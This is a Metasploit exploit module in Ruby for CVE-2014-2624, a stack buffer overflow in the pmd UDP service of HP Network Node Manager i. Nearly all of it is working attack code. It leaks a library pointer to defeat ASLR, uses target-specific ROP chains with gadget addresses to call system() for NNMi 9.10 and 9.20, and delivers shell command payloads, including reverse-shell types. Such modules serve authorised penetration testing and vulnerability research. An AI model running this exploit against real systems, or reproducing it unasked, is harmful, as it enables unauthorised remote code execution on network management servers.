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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::Udp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'HP Network Node Manager I PMD Buffer Overflow',
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      'Description'    => %q{
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        This module exploits a stack buffer overflow in HP Network Node Manager I (NNMi). The
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        vulnerability exists in the pmd service, due to the insecure usage of functions like
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        strcpy and strcat while handling stack_option packets with user controlled data. In
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        order to bypass ASLR this module uses a proto_tbl packet to leak an libov pointer from
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        the stack and finally build the ROP chain to avoid NX.
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      },
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      'Author'         =>
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        [
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          'd(-_-)b',     # Vulnerability discovery
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          'juan vazquez' # Metasploit module
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        ],
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      'References'     =>
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        [
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          ['CVE', '2014-2624'],
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          ['ZDI', '14-305']
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        ],
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      'Payload'        =>
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        {
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          'BadChars'    => "\x00",
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          'Space'       => 3000,
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          'DisableNops' => true,
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          'Compat'      =>
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            {
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              'PayloadType' => 'cmd cmd_bash',
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              'RequiredCmd' => 'generic python perl openssl bash-tcp gawk'
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            }
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        },
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      'Arch'           => ARCH_CMD,
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      'Platform'       => 'unix',
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      'Targets'        =>
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        [
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          ['Automatic', {}],
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          ['HP NNMi 9.10 / CentOS 5',
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            {
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              # ptr to .rodata with format specifier
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              #.rodata:0003BE86 aS_1            db '%s',0
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              'ov_offset'      => 0x3BE86,
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              :rop             => :rop_hp_nnmi_9_10
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            }
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          ],
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          ['HP NNMi 9.20 / CentOS 6',
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            {
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              # ptr to .rodata with format specifier
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              #.rodata:0003C2D6 aS_1            db '%s',0
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              'ov_offset'      => 0x3c2d8,
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              :rop             => :rop_hp_nnmi_9_20
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            }
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          ]
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        ],
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      'Privileged'     => false, # true for HP NNMi 9.10, false for HP NNMi 9.20
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      'DisclosureDate' => '2014-09-09',
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      'DefaultTarget'  => 0
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      ))
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    register_options([ Opt::RPORT(7426) ])
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  end
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  def check
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    header = [
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      0x2a5,  # pmdmgr_init pkt
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      0x3cc,  # signature
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      0xa0c,  # signature
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      0xca8   # signature
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    ].pack("V")
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    data = "\x00" * (0xfa4 - header.length)
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    pkt = header + data
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    connect_udp
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    udp_sock.put(pkt)
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    res = udp_sock.timed_read(8, 1)
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    if res.blank?
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      # To mitigate MacOSX udp sockets behavior
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      udp_sock.put(pkt)
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      res = udp_sock.timed_read(8)
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    end
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    disconnect_udp
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    if res.blank?
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      return Exploit::CheckCode::Unknown
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    elsif res.length == 8 && res.unpack("V").first == 0x2a5
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      return Exploit::CheckCode::Detected
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    else
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      return Exploit::CheckCode::Unknown
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    end
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  end
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  def exploit
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    connect_udp
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    # info leak with a "proto_tbl" packet
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    print_status("Sending a 'proto_tbl' request...")
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    udp_sock.put(proto_tbl_pkt)
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    res = udp_sock.timed_read(13964, 1)
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    if res.blank?
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      # To mitigate MacOSX udp sockets behavior
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      udp_sock.put(proto_tbl_pkt)
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      res = udp_sock.timed_read(13964)
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    end
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    if res.blank?
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      fail_with(Failure::Unknown, "Unable to get a 'proto_tbl' response...")
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    end
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    if target.name == 'Automatic'
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      print_status("Fingerprinting target...")
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      my_target = auto_target(res)
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      fail_with(Failure::NoTarget, "Unable to autodetect target...") if my_target.nil?
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    else
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      my_target = target
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      fail_with(Failure::Unknown, "Unable to leak libov base address...") unless find_ov_base(my_target, res)
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    end
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    print_good("Exploiting #{my_target.name} with libov base address at 0x#{@ov_base.to_s(16)}...")
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    # exploit with a "stack_option_pkt" packet
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    udp_sock.put(stack_option_pkt(my_target, @ov_base))
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    disconnect_udp
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  end
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  def rop_hp_nnmi_9_10(ov_base)
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    rop = rand_text_alpha(775)
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    rop << [0x808d7c1].pack("V")          # pop ebx ; pop ebp ; ret
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    rop << [ov_base + 0x481A8].pack("V")  # ebx: libov .got
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    rop << [0x8096540].pack("V")          # ptr to .data where user controlled string will be stored:
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                                          # "PMD Stack option specified, but stack not available (user_controlled)"
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    rop << [0x808d7c2].pack("V")          # pop ebp # ret
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    rop << [0x08096540 + 4732].pack("V")  # ebp: ptr to our controlled data in .data (+0x1028 to compensate)
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    rop << [ov_base +  0x1D692].pack("V") # ptr to 'call _system' sequence:
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                                          #.text:0001D692  lea     eax, [ebp+dest]
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                                          #.text:0001D698  push    eax             ; command
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                                          #.text:0001D699  call    _system
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    rop
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  end
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  def rop_hp_nnmi_9_20(ov_base)
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    rop = rand_text_alpha(775)
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    rop << [0x808dd70].pack("V")                      # pop eax ; pop ebx ; pop ebp ; ret
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    rop << [0xf7f61cd0 + ov_base + 0x1dae6].pack("V") # eax: ptr to 'call _system' sequence
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                                                      #.text:0001DAE6  lea     eax, [ebp+dest] (dest = -0x1028)
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                                                      #.text:0001DAEC  push    eax             ; command
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                                                      #.text:0001DAED  call    _system
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    rop << [0x08097160].pack("V")                     # ebx: ptr to .data where user controlled string will be stored:
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                                                      # "PMD Stack option specified, but stack not available (user_controlled)"
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    rop << rand_text_alpha(4)                         # ebp: padding
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    rop << [0x804fb86].pack("V")                      # add eax 0x809e330 ; add ecx ecx ; ret (control eax)
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    rop << [0x8049ac4].pack("V")                      # xchg eax, edi ; ret
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    rop << [0x808dd70].pack("V")                      # pop eax ; pop ebx ; pop ebp ; ret
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    rop << [0xf7f61cd0 + ov_base + 0x47f1c].pack("V") # eax: libov .got base
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    rop << rand_text_alpha(4)                         # ebx: padding
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    rop << [0x8097160 + 4764].pack("V")               # ebp: ptr to our controlled data in .data (+0x1028 to compensate)
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    rop << [0x804fb86].pack("V")                      # add eax 0x809e330 ; add ecx ecx ; ret (control eax)
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    rop << [0x805a58d].pack("V")                      # xchg ebx eax ; and eax 0xc4830001 ; and cl cl ; ret (ebx: libov .got)
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    rop << [0x8049ac4].pack("V")                      # xchg eax, edi ; ret ; (eax: call to system sequence from libov)
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    rop << [0x80528BC].pack("V")                      # jmp eax
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    rop
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  end
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  def stack_option_pkt(t, ov_base)
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    hdr = [0x2a9].pack("V")             # stack_option packet
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    data = "-SA"                        # stack name (invalid one 'A')
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    data << ";"                         # separator
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    data << self.send(t[:rop], ov_base) # malformed stack options
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    data << payload.encoded
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    data << ";\n"
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    data << "\x00" * (0xfa4 - data.length - hdr.length)
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    hdr + data
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  end
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  def proto_tbl_pkt
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    hdr = [0x2aa].pack("V") # proto_tbl packet
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    data = "\x00" * (0xfa4 - hdr.length)
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    hdr + data
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  end
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  def base(address, offset)
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    address - offset
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  end
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  def find_ov_base(t, data)
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    print_status("Searching #{t.name} pointers...")
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    i = 0
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    data.unpack("V*").each do |int|
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      if base(int, t['ov_offset']) % 0x1000 == 0
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        print_status("Pointer 0x#{int.to_s(16)} found at offset #{i * 4}")
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        @ov_base = base(int, t['ov_offset'])
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        return true
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      end
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      i = i + 1
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    end
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    false
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  end
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  def auto_target(data)
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    targets.each do |t|
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      next if t.name == 'Automatic'
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      if find_ov_base(t, data)
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        return t
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      end
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    end
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    nil
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  end
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end
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